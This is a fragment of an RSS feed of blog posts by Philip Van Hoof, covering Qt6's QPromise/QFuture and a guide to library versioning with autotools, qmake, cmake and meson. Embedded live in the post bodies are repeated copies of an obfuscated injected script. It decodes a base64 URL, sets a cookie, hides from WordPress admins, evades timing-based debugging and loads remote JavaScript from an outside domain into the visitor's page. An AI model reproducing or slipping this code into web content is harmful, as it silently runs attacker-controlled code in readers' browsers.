key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1ec610bc55c853a610b11eca21a0184394f52a352a3&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1ec610bc55c853a610b11eca21a0184394f52a352a3/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1ec610bc55c853a610b11eca21a0184394f52a352a3&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1ec610bc55c853a610b11eca21a0184394f52a352a3/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Sun, 19 Dec 2021 17:49:15 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1ec610bc55c853a610b11eca21a0184394f52a352a3</guid>
        </item>
        <item>
            <title>Avast, Qt6 announcing new QPromise and QFuture APIs</title>
            <link>https://pvanhoof.be/blog/index.php/2020/12/17/avast-qt6-announcing-new-qpromise-and-qfuture-apis</link>
            <description><![CDATA[
<p>Qt published its <a href="https://wiki.qt.io/New_Features_in_Qt_6.0">New_Features in Qt 6.0</a>.</p>
<p>Some noteworthy items in their list:</p>
<ul>
<li><a href="https://doc.qt.io/qt-6/qpromise.html">QPromise</a> allows setting values, progress and exceptions to QFuture</li>
<li><a href="https://doc.qt.io/qt-6/qfuture.html">QFuture</a> supports attaching continuations</li>
</ul>
<p>I like to think I had my pirate-hook in it at least a little bit with <a href="https://bugreports.qt.io/browse/QTBUG-61928">QTBUG-61928</a>.</p>
<p><div>I need to print this out and put it above my bed:</div>
</p>
<div></div>
<div>
<div id="comment-364006" class="issue-data-block activity-comment twixi-block expanded">
<div class="twixi-wrap verbose actionContainer">
<div class="action-head">
<div class="action-details"><a id="commentauthor_364006_verbose" class="user-hover user-avatar" href="https://bugreports.qt.io/secure/ViewProfile.jspa?name=thiago" rel="thiago">Thiago Macieira</a> added a comment &#8211; <span class="commentdate_364006_verbose subText"><span class="date user-tz" title="13 Jul '17 03:51"><time class="livestamp" datetime="2017-07-13T03:51:50+0000">13 Jul &#8217;17 03:51</time></span></span></div>
</div>
<div class="action-body flooded">You&#8217;re right</div>
</div>
</div>
<div id="comment-364011" class="issue-data-block activity-comment twixi-block expanded">
<div class="twixi-wrap verbose actionContainer">
<div class="action-head">
<div class="action-details"><a id="commentauthor_364011_verbose" class="user-hover user-avatar" href="https://bugreports.qt.io/secure/ViewProfile.jspa?name=pvanhoof" rel="pvanhoof">Philip Van Hoof</a> added a comment &#8211; <span class="commentdate_364011_verbose subText"><span class="date user-tz" title="13 Jul '17 07:32"><time class="livestamp" datetime="2017-07-13T07:32:28+0000">13 Jul &#8217;17 07:32</time></span></span></div>
</div>
<div class="action-body flooded">Damn, and I was worried the entire morning that I had been ranting again.</div>
</div>
</div>
</div>
<div class="action-head">
<div class="action-details"><a id="commentauthor_364066_verbose" class="user-hover user-avatar" href="https://bugreports.qt.io/secure/ViewProfile.jspa?name=thiago" rel="thiago">Thiago Macieira</a> added a comment &#8211; <span class="commentdate_364066_verbose subText"><span class="date user-tz" title="13 Jul '17 16:06"><time class="livestamp" datetime="2017-07-13T16:06:01+0000">13 Jul &#8217;17 16:06</time></span></span></div>
</div>
<div>oh, you were ranting. Doesn&#8217;t mean you&#8217;re wrong.</div>
<div></div>
<div></div>
<p><div>Thanks for prioritizing this Thiago.</div>
</p>
<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
<span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1eb40b3e0ddfc0440b311eba312639c92cfeb51eb51&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1eb40b3e0ddfc0440b311eba312639c92cfeb51eb51/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1eb40b3e0ddfc0440b311eba312639c92cfeb51eb51&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1eb40b3e0ddfc0440b311eba312639c92cfeb51eb51/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Thu, 17 Dec 2020 21:29:25 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1eb40b3e0ddfc0440b311eba312639c92cfeb51eb51</guid>
        </item>
        <item>
            <title>Doing It Right examples on autotools, qmake, cmake and meson</title>
            <link>https://pvanhoof.be/blog/index.php/2018/08/07/doing-it-right-examples-on-autotools-qmake-cmake-and-meson</link>
            <description><![CDATA[
<h1>About</h1>
<p>I finished <a href="http://pvanhoof.be/blog/index.php/2018/07/11/doing-it-right-making-libraries-using-popular-build-environments">my earlier work</a> on build environment examples. Illustrating how to do versioning on shared object files right with autotools, qmake, cmake and meson. You can <a href="https://github.com/pvanhoof/dir-examples">find it here</a>.</p>
<p><a href="https://github.com/pvanhoof/dir-examples">The DIR examples</a> are examples for various build environments on how to create a good project structure that will build libraries that are versioned with libtool or have versioning that is equivalent to what libtool would deliver, have a pkg-config file and have a so called API version in the library&#8217;s name.</p>
<h2><a id="user-content-what-is-right" href="https://github.com/pvanhoof/dir-examples#what-is-right"></a>What is right?</h2>
<p>Information on this can be found in the <a href="https://autotools.io/libtool/version.html" rel="nofollow">autotools mythbuster docs</a>, the <a href="https://www.gnu.org/software/libtool/manual/libtool.html#Libtool-versioning" rel="nofollow">libtool docs on versioning</a> and <a href="https://www.freebsd.org/doc/en/books/developers-handbook/policies-shlib.html" rel="nofollow">freeBSD&#8217;s chapter on shared libraries</a>. I tried to ensure that what is written here works with all of the build environments in the examples.</p>
<p><b><a id="user-content-libpackage-43so210-what-is-what" href="https://github.com/pvanhoof/dir-examples#libpackage-43so210-what-is-what"></a>libpackage-4.3.so.2.1.0, what is what?</b></p>
<p>You&#8217;ll notice that a library called &#8216;package&#8217; will in your LIBDIR often be called something like libpackage-4.3.so.2.1.0</p>
<p>We call the 4.3 part the APIVERSION, and the 2.1.0 part the VERSION (the ABI version).</p>
<p>I will explain these examples using <a href="https://semver.org/" rel="nofollow">semantic versioning</a> as APIVERSION and either libtool&#8217;s current:revision:age or a <a href="https://semver.org/" rel="nofollow">semantic versioning</a> alternative as field for VERSION (like in FreeBSD and for build environments where compatibility with <a href="https://www.gnu.org/software/libtool/manual/libtool.html#Libtool-versioning" rel="nofollow">libtool&#8217;s -version-info feature</a> ain&#8217;t a requirement).</p>
<p>Noting that with <a href="https://www.gnu.org/software/libtool/manual/libtool.html#Libtool-versioning" rel="nofollow">libtool&#8217;s -version-info feature</a> the values that you fill in for current, age and revision will not necessarily be identical to what ends up as suffix of the soname in LIBDIR. The formula to form the filename&#8217;s suffix is, for libtool, &#8220;(current &#8211; age).age.revision&#8221;. This means that for soname libpackage-APIVERSION.so.2.1.0, you would need current=3, revision=0 and age=1.</p>
<p><b><a id="user-content-the-version-part" href="https://github.com/pvanhoof/dir-examples#the-version-part"></a>The VERSION part</b></p>
<p>In case you want compatibility with or use <a href="https://www.gnu.org/software/libtool/manual/libtool.html#Libtool-versioning" rel="nofollow">libtool&#8217;s -version-info feature</a>, the document <a href="https://autotools.io/libtool/version.html" rel="nofollow">libtool/version.html</a> on <a href="https://autotools.io/" rel="nofollow">autotools.io</a> states:</p>
<blockquote><p>The rules of thumb, when dealing with these values are:</p>
<ul>
<li>Increase the current value whenever an interface has been added, removed or changed.</li>
<li>Always increase the revision value.</li>
<li>Increase the age value only if the changes made to the ABI are backward compatible.</li>
</ul>
</blockquote>
<p>The <a href="https://www.gnu.org/software/libtool/manual/libtool.html#Libtool-versioning" rel="nofollow">libtool&#8217;s -version-info feature</a>&#8216;s <a href="https://www.gnu.org/software/libtool/manual/libtool.html#Updating-version-info" rel="nofollow">updating-version-info part of libtool&#8217;s docs</a> states:</p>
<blockquote>
<ol>
<li>Start with version information of ‘0:0:0’ for each libtool library.</li>
<li>Update the version information only immediately before a public release of your software. More frequent updates are unnecessary, and only guarantee that the current interface number gets larger faster.</li>
<li>If the library source code has changed at all since the last update, then increment revision (‘c:r:a’ becomes ‘c:r+1:a’).</li>
<li>If any interfaces have been added, removed, or changed since the last update, increment current, and set revision to 0.</li>
<li>If any interfaces have been added since the last public release, then increment age.</li>
<li>If any interfaces have been removed or changed since the last public release, then set age to 0.</li>
</ol>
</blockquote>
<p>When you don&#8217;t care about compatibility with <a href="https://www.gnu.org/software/libtool/manual/libtool.html#Libtool-versioning" rel="nofollow">libtool&#8217;s -version-info feature</a>, then you can take the following simplified rules for VERSION:</p>
<blockquote>
<ul>
<li>SOVERSION = Major version</li>
<li>Major version: increase it if you break ABI compatibility</li>
<li>Minor version: increase it if you add ABI compatible features</li>
<li>Patch version: increase it for bug fix releases.</li>
</ul>
</blockquote>
<p>Examples when these simplified rules are or can be applicable is in build environments like cmake, meson and qmake. When you use autotools you will be using libtool and then they ain&#8217;t applicable.</p>
<p><b><a id="user-content-the-apiversion-part" href="https://github.com/pvanhoof/dir-examples#the-apiversion-part"></a>The APIVERSION part</b></p>
<p>For the API version I will use the rules from <a href="https://semver.org/" rel="nofollow">semver.org</a>. You can also use the semver rules for your package&#8217;s version:</p>
<blockquote><p>Given a version number MAJOR.MINOR.PATCH, increment the:</p>
<ol>
<li>MAJOR version when you make incompatible API changes,</li>
<li>MINOR version when you add functionality in a backwards-compatible manner, and</li>
<li>PATCH version when you make backwards-compatible bug fixes.</li>
</ol>
</blockquote>
<p>When you have an API, that API can change over time. You typically want to version those API changes so that the users of your library can adopt to newer versions of the API while at the same time other users still use older versions of your API. For this we can follow section 4.3. called &#8220;multiple libraries versions&#8221; of the <a href="https://autotools.io/libtool/version.html" rel="nofollow">autotools mythbuster documentation</a>. It states:</p>
<blockquote><p>In this situation, the best option is to append part of the library&#8217;s version information to the library&#8217;s name, which is exemplified by Glib&#8217;s libglib-2.0.so.0 &gt; soname. To do so, the declaration in the Makefile.am has to be like this:</p>
<pre><code>lib_LTLIBRARIES = libtest-1.0.la

libtest_1_0_la_LDFLAGS = -version-info 0:0:0</code></pre>
</blockquote>
<p><b><a id="user-content-the-pkg-config-file" href="https://github.com/pvanhoof/dir-examples#the-pkg-config-file"></a>The pkg-config file</b></p>
<p>Many people use many build environments (autotools, qmake, cmake, meson, you name it). Nowadays almost all of those build environments support pkg-config out of the box. Both for generating the file as for consuming the file for getting information about dependencies.</p>
<p>I consider it a necessity to ship with a useful and correct pkg-config .pc file. The filename should be /usr/lib/pkgconfig/package-APIVERSION.pc for soname libpackage-APIVERSION.so.VERSION. In our example that means /usr/lib/pkgconfig/package-4.3.pc. We&#8217;d use the command pkg-config package-4.3 &#8211;cflags &#8211;libs, for example.</p>
<p>Examples are GLib&#8217;s pkg-config file, located at /usr/lib/pkgconfig/glib-2.0.pc</p>
<p><b><a id="user-content-the-include-path" href="https://github.com/pvanhoof/dir-examples#the-include-path"></a>The include path</b></p>
<p>I consider it a necessity to ship API headers in a per API-version different location (like for example GLib&#8217;s, at /usr/include/glib-2.0). This means that your API version number must be part of the include-path.</p>
<p>For example using earlier mentioned API-version 4.3, /usr/include/package-4.3 for /usr/lib/libpackage-4.3.so(.2.1.0) having /usr/lib/pkg-config/package-4.3.pc</p>
<h2><a id="user-content-what-will-the-linker-typically-link-with" href="https://github.com/pvanhoof/dir-examples#what-will-the-linker-typically-link-with"></a>What will the linker typically link with?</h2>
<p>The linker will for -lpackage-4.3 typically link with /usr/lib/libpackage-4.3.so.2 or with libpackage-APIVERSION.so.(current &#8211; age). Noting that the part that is calculated as (current &#8211; age) in this example is often, for example in cmake and meson, referred to as the SOVERSION. With SOVERSION the soname template in LIBDIR is libpackage-APIVERSION.so.SOVERSION.</p>
<h2><a id="user-content-what-is-wrong" href="https://github.com/pvanhoof/dir-examples#what-is-wrong"></a>What is wrong?</h2>
<p><b><a id="user-content-not-doing-any-versioning" href="https://github.com/pvanhoof/dir-examples#not-doing-any-versioning"></a>Not doing any versioning</b></p>
<p>Without versioning you can&#8217;t make any API or ABI changes that wont break all your users&#8217; code in a way that could be managable for them. If you do decide not to do any versioning, then at least also don&#8217;t put anything behind the .so part of your so&#8217;s filename. That way, at least you wont break things in spectacular ways.</p>
<p><b><a id="user-content-coming-up-with-your-own-versioning-scheme" href="https://github.com/pvanhoof/dir-examples#coming-up-with-your-own-versioning-scheme"></a>Coming up with your own versioning scheme</b></p>
<p>Knowing it better than the rest of the world will in spectacular ways make everything you do break with what the entire rest of the world does. You shouldn&#8217;t congratulate yourself with that. The only thing that can be said about it is that it probably makes little sense, and that others will probably start ignoring your work. Your mileage may vary. Keep in mind that without a correct SOVERSION, certain things will simply not work correct.</p>
<p><b><a id="user-content-in-case-of-libtool-using-your-packages-semver-release-numbering-for-current-revision-age" href="https://github.com/pvanhoof/dir-examples#in-case-of-libtool-using-your-packages-semver-release-numbering-for-current-revision-age"></a>In case of libtool: using your package&#8217;s (semver) release numbering for current, revision, age</b></p>
<p>This is similarly wrong to &#8216;Coming up with your own versioning scheme&#8217;.</p>
<p>The <a href="https://www.gnu.org/software/libtool/manual/libtool.html#Updating-version-info" rel="nofollow">Libtool documentation on updating version info</a> is clear about this:</p>
<blockquote><p>Never try to set the interface numbers so that they correspond to the release number of your package. This is an abuse that only fosters misunderstanding of the purpose of library versions.</p></blockquote>
<p>This basically means that once you are using libtool, also use libtool&#8217;s versioning rules.</p>
<p><b><a id="user-content-refusing-or-forgetting-to-increase-the-current-andor-soversion-on-breaking-abi-changes" href="https://github.com/pvanhoof/dir-examples#refusing-or-forgetting-to-increase-the-current-andor-soversion-on-breaking-abi-changes"></a>Refusing or forgetting to increase the current and/or SOVERSION on breaking ABI changes</b></p>
<p>The current part of the VERSION (current, revision and age) minus age, or, SOVERSION is/are the most significant field(s). The current and age are usually involved in forming the so called SOVERSION, which in turn is used by the linker to know with which ABI version to link. That makes it &#8230; damn important.</p>
<p>Some people think &#8216;all this is just too complicated for me&#8217;, &#8216;I will just refuse to do anything and always release using the same version numbers&#8217;. That goes spectacularly wrong whenever you made ABI incompatible changes. It&#8217;s similarly wrong to &#8216;Coming up with your own versioning scheme&#8217;.</p>
<p>That way, all programs that link with your shared library can after your shared library gets updated easily crash, can corrupt data and might or might not work.</p>
<p>By updating the current and age, or, SOVERSION you will basically trigger people who manage packages and their tooling to rebuild programs that link with your shared library. You actually want that the moment you made breaking ABI changes in a newer version of it.</p>
<p>When you don&#8217;t want to care about <a href="https://www.gnu.org/software/libtool/manual/libtool.html#Libtool-versioning" rel="nofollow">libtool&#8217;s -version-info feature</a>, then there is also a set of more simple to follow rules. Those rules are for VERSION:</p>
<blockquote>
<ul>
<li>SOVERSION = Major version (with these simplified set of rules, no subtracting of current with age is needed)</li>
<li>Major version: increase it if you break ABI compatibility</li>
<li>Minor version: increase it if you add ABI compatible features</li>
<li>Patch version: increase it for bug fix releases.</li>
</ul>
</blockquote>
<h2><a id="user-content-what-isnt-wrong" href="https://github.com/pvanhoof/dir-examples#what-isnt-wrong"></a>What isn&#8217;t wrong?</h2>
<p><b><a id="user-content-not-using-libtool-but-nonetheless-doing-abi-versioning-right" href="https://github.com/pvanhoof/dir-examples#not-using-libtool-but-nonetheless-doing-abi-versioning-right"></a>Not using libtool (but nonetheless doing ABI versioning right)</b></p>
<p>GNU libtool was made to make certain things more easy. Nowadays many popular build environments also make things more easy. Meanwhile has GNU libtool been around for a long time. And its versioning rules, commonly known as the current:revision:age field as parameter for -verison-info, got widely adopted.</p>
<p>What GNU libtool did was, however, not really a standard. It&#8217;s is one interpretation of how to do it. And a rather complicated one, at that.</p>
<p>Please let it be crystal clear that not using libtool does not mean that you can do ABI versioning wrong. Because very often people seem to think that they can, and think they&#8217;ll still get out safely while doing ABI versioning completely wrong. This is not the case.</p>
<p><b><a id="user-content-not-having-a-apiversion-at-all" href="https://github.com/pvanhoof/dir-examples#not-having-a-apiversion-at-all"></a>Not having a APIVERSION at all</b></p>
<p>It isn&#8217;t wrong not to have an APIVERSION in the soname. It however means that you promise to not ever break API. Because the moment you break API, you disallow your users to stay on the old API for a little longer. They might both have programs that use the old and that use the new API. Now what?</p>
<p>When you have an APIVERSION then you can allow the introduction of a new version of the API while simultaneously the old API remains available on a user&#8217;s system.</p>
<p><b><a id="user-content-using-a-different-naming-scheme-for-apiversion" href="https://github.com/pvanhoof/dir-examples#using-a-different-naming-scheme-for-apiversion"></a>Using a different naming-scheme for APIVERSION</b></p>
<p>I used the MAJOR.MINOR version numbers from semver to form the APIVERSION. I did this because only the MAJOR and the MINOR are technically involved in API changes (unless you are doing semantic versioning wrong &#8211; in which case see &#8216;Coming up with your own versioning scheme&#8217;).</p>
<p>Some projects only use MAJOR. Examples are Qt which puts the MAJOR number behind the Qt part. For example libQt5Core.so.VERSION (so that&#8217;s &#8220;Qt&#8221; + MAJOR + Module). The GLib world, however, uses &#8220;g&#8221; + Module + &#8220;-&#8221; + MAJOR + &#8220;.0&#8221; as they have releases like 2.2, 2.3, 2.4 that are all called libglib-2.0.so.VERSION. I guess they figured that maybe someday in their 2.x series, they could use that MINOR field?</p>
<p>DBus seems to be using a similar thing to GLib, but then without the MINOR suffix: libdbus-1.so.VERSION. For their GLib integration they also use it as libdbus-glib-1.so.VERSION.</p>
<p>Who is right, who is wrong? It doesn&#8217;t matter too much for your APIVERSION naming scheme. As long as there is a way to differentiate the API in a) the include path, b) the pkg-config filename and c) the library that will be linked with (the -l parameter during linking/compiling). Maybe someday a standard will be defined? Let&#8217;s hope so.</p>
